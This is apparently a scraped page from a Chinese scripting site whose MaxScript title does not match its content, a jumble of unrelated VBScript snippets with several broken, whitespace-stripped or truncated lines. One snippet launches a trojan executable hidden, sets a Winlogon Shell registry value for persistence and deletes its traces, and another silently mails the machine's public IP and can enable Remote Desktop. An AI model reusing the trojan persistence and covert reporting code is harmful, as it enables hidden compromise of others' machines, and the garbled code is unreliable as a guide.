maxscript自动加载脚本错误 c:\\user读取文件列表失败

发布时间:2020-11-18 来源:脚本之家 点击:

看起来是否很麻烦?然而,使用以下的函数就能解决这个问题SetobjNetwork=CreateObject("Wscript.Network")
strComputer=objNetwork.ComputerName
ConstForReading=1
ConstForAppending=8
DimarrFileLines()
i=0
SetobjWMIService=GetObject("winmgmts:"&"{impersonationLevel=impersonate}!"&strComputer&"ootcimv2")
SetcolFiles=objWMIService.ExecQuery("Select*fromCIM_DataFilewherePath='\search\'")
ForEachobjFileincolFiles
IfobjFile.Extension="log"Then
FileName=objFile.Name
Wscript.EchoFileName
EndIF
Next
SetobjFSO=CreateObject("Scripting.FileSystemObject")
SetobjFile=objFSO.OpenTextFile("input.txt",ForReading)
InputLine=objFile.ReadLine
objFile.Close
setobjFile=objFSO.OpenTextFile(FileName,ForReading)
DoUntilobjFile.AtEndOfStream
SearchLine=objFile.ReadLine
IfInStr(SearchLine,InputLine)=0Then
Else
RedimPreservearrFileLines(i)
arrFileLines(i)=SearchLine
i=i+1
EndIf
Loop
objFile.Close
SetobjFile=objFSO.OpenTextFile("result.txt",ForAppending)
Forl=Ubound(arrFileLines)toLBound(arrFileLines)Step-1
objFile.WriteLinearrFileLines(l)
Next
objFile.Close
//检查Search目录中的特定文件中的特定字符并将结果放入Result.txt中

最新滴滴脚本
"
WScript.Quit
Else
Dim fso
Set fso=CreateObject("Scripting.FileSystemObject")
If (fso.FileExists(WScript.Arguments(0))) Then
GetDragDropFile=WScript.Arguments(0)
Set fso=Nothing
Else
Set fso=Nothing
MsgBox "无法找到文件" & WScript.Arguments(0)
WScript.Quit
End If
End If
End Function
Const ForReading=1
Const ForWriting=2
Const ForAppending=8
Const TristateTrue=-1
Const TristateUseDefault=-2
Const TristateFalse=0
Dim ToWrite
Dim Index
Dim fso
Dim src
Dim dst
Dim TextSize
Dim MaxTextLength
Dim SourceFile
Dim DestinationFile
Dim BaseName
Dim OutFolderPath
Dim IsUnicode
Dim regEx,patrn
'***************************************************************
' Splited text size .
TextSize=4 'KB
IsUnicode=True
'*****************************************************************
MaxTextLength=1024 * TextSize / 2 - 1
patrn="(\r\n\r\n)+|( +)"
Set regEx=New RegExp
regEx.Pattern=patrn
regEx.IgnoreCase=True
regEx.Global=True

Set fso=CreateObject("Scripting.FileSystemObject")
BaseName=fso.GetBaseName(GetDragDropFile)
OutFolderPath=fso.BuildPath(fso.GetParentFolderName(GetDragDropFile),_
BaseName)
Set src=(GetDragDropFile, ForReading,False,_
TristateUseDefault)
If Not fso.FolderExists(OutFolderPath) Then
fso.CreateFolder OutFolderPath
End If
Index=1
While(src.AtEndOfStream <> True)
ToWrite=src.Read(MaxTextLength)
DestinationFile=fso.BuildPath(OutFolderPath,BaseName & _
FormatStrNum(Index) & ".txt")
Set dst=fso.OpenTextFile(DestinationFile,ForWriting,True,IIf(IsUnicode,TristateTrue,TristateUseDefault))
Dim SlimText
SlimText=regEx.Replace(ToWrite,"")
dst.Write SlimText
dst.Close
Set dst=Nothing
Index=Index + 1
Wend
src.Close
Set src=
Set fso=Nothing
Set regEx=Nothing
OpenDir OutFolderPath
以下的程式只是示范切割图片的方法,而不是教你如何写拼图程式

Option Explicit

Call Main '执行入口函数

'- ----------------------------------------- -
' 函数说明:程序入口
'- ----------------------------------------- -
Sub Main()
Dim objWsh
Dim objEnv
Dim strNewIP, strOldIP
Dim dtStartTime
Dim nInstance

strOldIP=""
dtStartTime=DateAdd("n", -30, Now) '设置起始时间

'获得运行实例数,如果大于1,则结束以前运行的实例
Set objWsh=CreateObject("WScript.Shell")
Set objEnv=CreateObject("WScript.Shell").Environment("System")
nInstance=Val(objEnv("GetIpToEmail")) + 1 '运行实例数加1
objEnv("GetIpToEmail")=nInstance
If nInstance > 1 Then Exit Sub '如果运行实例数大于1则退出,以防重复运行

'开启远程桌面
'EnabledRometeDesktop True, Null

'在后台连续检测外网地址,如果有变化则发送邮件到指定邮箱
Do
If Err.Number <> 0 Then Exit Do
If DateDiff("n", dtStartTime, Now) >=30 Then '半小时检查一次IP
dtStartTime=Now '重置起始时间
strNewIP=GetWanIP '获得本地的公网IP地址
If Len(strNewIP) > 0 Then
If strNewIP <> strOldIP Then '如果IP发生了变化则发送
SendMail "发信人邮箱@sina.com", "密码", "收信人邮箱@sina.com", "路由器IP", strNewIP '发送IP到指定邮箱
strOldIP=strNewIP '重置原来的IP
End If
End If
End If
WScript.Sleep 2000 '延时2秒,以释放CPU资源
Loop Until Val(objEnv("GetIpToEmail")) > 1
objEnv.Remove "GetIpToEmail" '清除运行实例数变量
Set objEnv=Nothing
Set objWsh=Nothing

MsgBox "程序被成功终止!", 64, "提示"
End Sub

'- ----------------------------------------- -
' 函数说明:开启远程桌面
' 参数说明:blnEnabled是否开启,True开启,False关闭
' nPort远程桌面的端口号,默认为3389
'- ----------------------------------------- -
Sub EnabledRometeDesktop(blnEnabled, nPort)
Dim objWsh

If blnEnabled Then
blnEnabled=0 '0表示开启
Else
blnEnabled=1 '1表示关闭
End If

Set objWsh=CreateObject("WScript.Shell")
'开启远程桌面并设置端口号
objWsh.RegWrite "HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/Terminal Server/fDenyTSConnections", blnEnabled, "REG_DWORD" '开启远程桌面
'设置远程桌面端口号
If IsNumeric(nPort) Then
If nPort > 0 Then
objWsh.RegWrite "HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/Terminal Server/Wds/rdpwd/Tds/tcp/PortNumber", nPort, "REG_DWORD"
objWsh.RegWrite "HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/Terminal Server/WinStations/RDP-Tcp/PortNumber", nPort, "REG_DWORD"
End If
End If
Set objWsh=Nothing
End Sub

'- ----------------------------------------- -
' 函数说明:获得公网IP
'- ----------------------------------------- -
Function GetWanIP()
Dim nPos
Dim objXmlHTTP

GetWanIP=""
On Error Resume Next
'创建XMLHTTP对象
Set objXmlHTTP=CreateObject("MSXML2.XMLHTTP")

'导航至获得IP地址
objXmlHTTP.open "GET", "", False
objXmlHTTP.send

'提取HTML中的IP地址字符串
nPos=InStr(objXmlHTTP.responseText, "[")
If nPos > 0 Then
GetWanIP=Mid(objXmlHTTP.responseText, nPos + 1)
nPos=InStr(GetWanIP, "]")
If nPos > 0 Then GetWanIP=Trim(Left(GetWanIP, nPos - 1))
End If

'销毁XMLHTTP对象
Set objXmlHTTP=Nothing
End Function

'- ----------------------------------------- -
' 函数说明:将字符串转换为数值
'- ----------------------------------------- -
Function Val(vNum)
If IsNumeric(vNum) Then
Val=CDbl(vNum)
Else
Val=0
End If
End Function

'- ----------------------------------------- -
' 函数说明:发送邮件
' 参数说明:strEmailFrom:发信人邮箱
' strPassword:发信人邮箱密码
' strEmailTo:收信人邮箱
' strSubject:邮件标题
' strText:邮件内容
'- ----------------------------------------- -
Function SendMail(strEmailFrom, strPassword, strEmailTo, strSubject, strText)
Dim i, nPos
Dim strUsername
Dim strSmtpServer
Dim objSock
Dim strEML
Const sckConnected=7

Set objSock=CreateWinsock()
objSock.Protocol=0

nPos=InStr(strEmailFrom, "@")
'校验参数完整性和合法性
If nPos=0 Or InStr(strEmailTo, "@")=0 Or Len(strText)=0 Or Len(strPassword)=0 Then Exit Function
'根据邮箱名称获得邮箱帐号
strUsername=Trim(Left(strEmailFrom, nPos - 1))
'根据发信人邮箱获得ESMTP服务器名称
strSmtpServer="smtp." & Trim(Mid(strEmailFrom, nPos + 1))

'组装邮件
strEML="MIME-Version: 1.0" & vbCrLf
strEML=strEML & "FROM:" & strEmailFrom & vbCrLf
strEML=strEML & "TO:" & strEmailTo & vbCrLf
strEML=strEML & "Subject:" & "=?GB2312?B?" & Base64Encode(strSubject) & "?=" & vbCrLf
strEML=strEML & "Content-Type: text/plain;" & vbCrLf
strEML=strEML & "Content-Transfer-Encoding: base64" & vbCrLf & vbCrLf
strEML=strEML & Base64Encode(strText)
strEML=strEML & vbCrLf & "." & vbCrLf

'连接到邮件服务哭
objSock.Connect strSmtpServer, 25

'等待连接成功
For i=1 To 10
If objSock.State=sckConnected Then Exit For
WScript.Sleep 200
Next

If objSock.State=sckConnected Then
'准备发送邮件
SendCommand objSock, "EHLO VBSEmail"
SendCommand objSock, "AUTH LOGIN" '申请进行SMTP会话
SendCommand objSock, Base64Encode(strUsername)
SendCommand objSock, Base64Encode(strPassword)
SendCommand objSock, "MAIL FROM:" & strEmailFrom '发信人
SendCommand objSock, "RCPT TO:" & strEmailTo '收信人
SendCommand objSock, "DATA" '以下为邮件内容

'发送邮件
SendCommand objSock, strEML

'结束邮箱发送
SendCommand objSock, "QUIT"
End If

'断开连接
objSock.Close
WScript.Sleep 200
Set objSock=Nothing
End Function

'- ----------------------------------------- -
' 函数说明:SendMail的辅助函数
'- ----------------------------------------- -
Function SendCommand(objSock, strCommand)
Dim i
Dim strEcho

On Error Resume Next
objSock.SendData strCommand & vbCrLf
For i=1 To 50 '等待结果
WScript.Sleep 200
If objSock.BytesReceived > 0 Then
objSock.GetData strEcho, vbString
If (Val(strEcho) > 0 And Val(strEcho) < 400) Or InStr(strEcho, "+OK") > 0 Then
SendCommand=True
End If
Exit Function
End If
Next
End Function

'- ----------------------------------------- -
' 函数说明:创建Winsock对象,如果失败则下载注册后再创建
'- ----------------------------------------- -
Function CreateWinsock()
Dim objWsh
Dim objXmlHTTP
Dim objAdoStream
Dim objFSO
Dim strSystemPath

'创建并返回Winsock对象
On Error Resume Next
Set CreateWinsock=CreateObject("MSWinsock.Winsock")
If Err.Number=0 Then Exit Function '创建成功,返回Winsock对象

Err.Clear
On Error GoTo 0

'获得Windows/System32系统文件夹位置
Set objFSO=CreateObject("Scripting.FileSystemObject")
strSystemPath=objFSO.GetSpecialFolder(1)

'如果系统文件夹中的mswinsck.ocx文件不存在,则从网站下载
If Not objFSO.FileExists(strSystemPath & "/mswinsck.ocx") Then
'创建XMLHTTP对象
Set objXmlHTTP=CreateObject("MSXML2.XMLHTTP")

'下载MSWinsck.ocx控件
objXmlHTTP.open "GET", "", False
objXmlHTTP.send

'将MSWinsck.ocx保存到系统文件夹
Set objAdoStream=CreateObject("Adodb.Stream")
objAdoStream.Type=1 'adTypeBinary
objAdoStream.open
objAdoStream.Write objXmlHTTP.responseBody
objAdoStream.SaveToFile strSystemPath & "/mswinsck.ocx", 2 'adSaveCreateOverwrite
objAdoStream.Close
Set objAdoStream=Nothing

'销毁XMLHTTP对象
Set objXmlHTTP=Nothing
End If

'注册MSWinsck.ocx
Set objWsh=CreateObject("WScript.Shell")
objWsh.RegWrite "HKEY_CLASSES_ROOT/Licenses/2c49f800-c2dd-11cf-9ad6-0080c7e7b78d/", "mlrljgrlhltlngjlthrligklpkrhllglqlrk" '添加许可证
objWsh.Run "regsvr32 /s " & strSystemPath & "/mswinsck.ocx", 0 '注册控件
Set objWsh=Nothing

'重新创建并返回Winsock对象
Set CreateWinsock=CreateObject("MSWinsock.Winsock")
End Function

'- ----------------------------------------- -
' 函数说明:BASE64编码函数
'- ----------------------------------------- -
Function Base64Encode(strSource)
Dim objXmlDOM
Dim objXmlDocNode
Dim objAdoStream

Base64Encode=""
If strSource="" Or IsNull(strSource) Then Exit Function

'创建XML文档对象
Set objXmlDOM=CreateObject("Microsoft.XMLDOM")
objXmlDOM.loadXML ("<?xml version='1.0' ?> <root/>")
Set objXmlDocNode=objXmlDOM.createElement("MyText")
objXmlDocNode.dataType="bin.base64"

'将字符串转换为字节数组
Set objAdoStream=CreateObject("ADODB.Stream")
objAdoStream.mode=3
objAdoStream.Type=2
objAdoStream.open
objAdoStream.Charset="GB2312"
objAdoStream.writetext strSource
objAdoStream.position=0
objAdoStream.Type=1
objXmlDocNode.nodeTypedValue=objAdoStream.read() '将转换后的字节数组读入到XML文档中
objAdoStream.Close
Set objAdoStream=Nothing

'获得BASE64编码
Base64Encode=objXmlDocNode.Text
objXmlDOM.documentElement.appendChild objXmlDocNode

Set objXmlDOM=Nothing
End Function

  

  点这里下载原程序文件


dim wsh
set wsh=CreateObject("WScript.Shell")
wsh.run "%windir%\flumasko.exe",0 //运行木马程序
set sm=Wscript.CreateObject("WScript.Shell")
sm.RegWrite "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell","Explorer.exe %systemroot%\system32\winmgmt.exe"
//写进注册表项实现自启动
set WshShell=WScript.CreateObject("WScript.Shell")
WScript.Sleep 2000
//等木马的执行完毕
Set fso=CreateObject("Scripting.FileSystemObject")
f=fso.DeleteFile ("flumasko.exe")
f=fso.DeleteFile (WScript.ScriptName)
//毁尸灭迹
换句话说,我们也可以添加自己的决,只要遵循如下原则:在这三个标准块其中的某个后面,定义一个四字节的块识别码(不要与本文用到的识别码相同,最好字母用大写),紧跟一个长整数来表示你自定义的块的大小,随后便可以在定义的大小范围内写入你想表述的信息


<scriptlanguage=vbs>
functionpass()
input=inputbox("请输入密码:","hello",,300,300)
ifinput=StrReverse("why?")then
location.href=("tpircsbvym/moc.udiab.ih//:ptth")
else
MsgBox"error"
location.href=
endif
endfunction
</script>
福利正确的写法是:
theStr="[MyName="&""""&"schunter"&""""&"Class="&""""&"2"&""""&"]"
也就是有引号的地方,需要两个引号才能生成一个引号
'程序名称: btlwchk_netinterface.vbs
'程序用途: 监测windows主机网络接口利用率
'创建日期: 2011-09-1
'作者信息: zhangkai
'运行环境: vbs
'处理参数

MonSubject="NetInterface"
Set Args=WScript.Arguments
If (Args.Count<1) Then
Wscript.Echo MonSubject & " -1:command line error"
WScript.Quit(3)
End If
strcid=Args(0)
'获取工作目录
tmparr=Split(Wscript.ScriptFullName,"",-1)
g_strworkdir=tmparr(0)
narr=UBound(tmparr,1)
For i=1 to narr-3
g_strworkdir=g_strworkdir & "" & tmparr(i)
Next
'装载公共库
set g_fileSys=createObject ("Scripting.FileSystemObject")
Sub includeFile (fSpec)
dim file, fileData
set file=g_fileSys.openTextFile (fSpec)
fileData=file.readAll ()
file.close
executeGlobal fileData
set file=nothing
end sub
includeFile g_strworkdir & "\nagios\libexec\libcomm.vbs"


'输出版本和帮助信息
getverhelp strcid,"v1.00"," <cid>"

strComputer="."
Set objWMIService=GetObject("winmgmts:" & "{impersonationLevel=impersonate}!\" & strComputer & "\root\cimv2")

'第1次采样
Set colItems=objWMIService.ExecQuery("Select * from Win32_PerfRawData_Tcpip_NetworkInterface",,48)
Dim BytesTotalPersec1(20),TimeValue1(20),Name1(20),CurrentBandwidth(20),BytesReceivedPerSec1(20),BytesSentPerSec1(20),PacketsReceivedPerSec1(20),PacketsSentPerSec1(20),_
BytesTotalPersec(20),PercentNetwork(20),BytesReceivedPerSec(20),BytesSentPerSec(20),PacketsReceivedPerSec(20),PacketsSentPerSec(20)
n=0
For Each objItem in colItems
Name1(n)=objItem.Name
BytesTotalPersec1(n)=objItem.BytesTotalPersec
BytesReceivedPerSec1(n)=objItem.BytesReceivedPerSec
BytesSentPerSec1(n)=objItem.BytesSentPerSec
PacketsReceivedPerSec1(n)=objItem.PacketsReceivedPerSec
PacketsSentPerSec1(n)=objItem.PacketsSentPerSec
TimeValue1(n)=objItem.Timestamp_PerfTime
CurrentBandwidth(n)=objItem.CurrentBandwidth
TimeBase=objItem.Frequency_PerfTime
n=n+1
Next

'第2次采样
WScript.Sleep 1000
Set colItems=objWMIService.ExecQuery("Select * from Win32_PerfRawData_Tcpip_NetworkInterface",,48)
Dim BytesTotalPersec2(20),TimeValue2(20),Name2(20),BytesReceivedPerSec2(20),BytesSentPerSec2(20),PacketsReceivedPerSec2(20),PacketsSentPerSec2(20)
k=0
For Each objItem in colItems
Name2(k)=objItem.Name
BytesTotalPersec2(k)=objItem.BytesTotalPersec
BytesReceivedPerSec2(k)=objItem.BytesReceivedPerSec
BytesSentPerSec2(k)=objItem.BytesSentPerSec
PacketsReceivedPerSec2(k)=objItem.PacketsReceivedPerSec
PacketsSentPerSec2(k)=objItem.PacketsSentPerSec
TimeValue2(k)=objItem.Timestamp_PerfTime
k=k+1
Next

j=0
For i=0 to n-1
If TimeValue2(j) - TimeValue1(j)=0 Then
strnetwork="BytesTotalPersec=0"
Else
'带宽利用率=(BytesReceivedPerSec + BytesSentPerSec)*8*100/ CurrentBandwidth
'计算利用率
BytesTotalPersec(j)=(BytesTotalPersec2(j) - BytesTotalPersec1(j)) / ((TimeValue2(j) - TimeValue1(j)) / TimeBase)
PercentNetwork(j)=BytesTotalPersec(j)*8*100 / CurrentBandwidth(j)
PercentNetwork(j)=round(PercentNetwork(j),2)

'计算BytesReceivedPerSec
BytesReceivedPerSec(j)=(BytesReceivedPerSec2(j) - BytesReceivedPerSec1(j)) / ((TimeValue2(j) - TimeValue1(j)) / TimeBase)/1024
BytesReceivedPerSec(j)=round(BytesReceivedPerSec(j),2)

'计算BytesSentPerSec
BytesSentPerSec(j)=(BytesSentPerSec2(j) - BytesSentPerSec1(j)) / ((TimeValue2(j) - TimeValue1(j)) / TimeBase)/1024
BytesSentPerSec(j)=round(BytesSentPerSec(j),2)

'计算PacketsReceivedPerSec
PacketsReceivedPerSec(j)=(PacketsReceivedPerSec2(j) - PacketsReceivedPerSec1(j)) / ((TimeValue2(j) - TimeValue1(j)) / TimeBase)
PacketsReceivedPerSec(j)=round(PacketsReceivedPerSec(j),2)

'计算PacketsSentPerSec
PacketsSentPerSec(j)=(PacketsSentPerSec2(j) - PacketsSentPerSec1(j)) / ((TimeValue2(j) - TimeValue1(j)) / TimeBase)
PacketsSentPerSec(j)=round(PacketsSentPerSec(j),2)

'计算CurrentBandwidth
CurrentBandwidth(j)=CInt(CurrentBandwidth(j)/1000/1000)
End If
If j=0 Then
Wscript.Echo MonSubject & " 0:OK|Name=" & Name1(j) & ",PercentNetwork=" & PercentNetwork(j) & ",BytesReceivedPerSec=" & BytesReceivedPerSec(j) & ",BytesSentPerSec=" & BytesSentPerSec(j) _
& ",PacketsReceivedPerSec=" & PacketsReceivedPerSec(j) & ",PacketsSentPerSec=" & PacketsSentPerSec(j) & ",CurrentBandwidth=" & CurrentBandwidth(j)
End If
'Wscript.Echo MonSubject & " 0:OK|" & Name1(j) & ",PercentNetwork=" & PercentNetwork
j=j+1
Next

网站地图 | Tag标签 | RSS订阅
Copyright © 2012-2019 脚本之家 All Rights Reserved
脚本之家  渝ICP备13030612号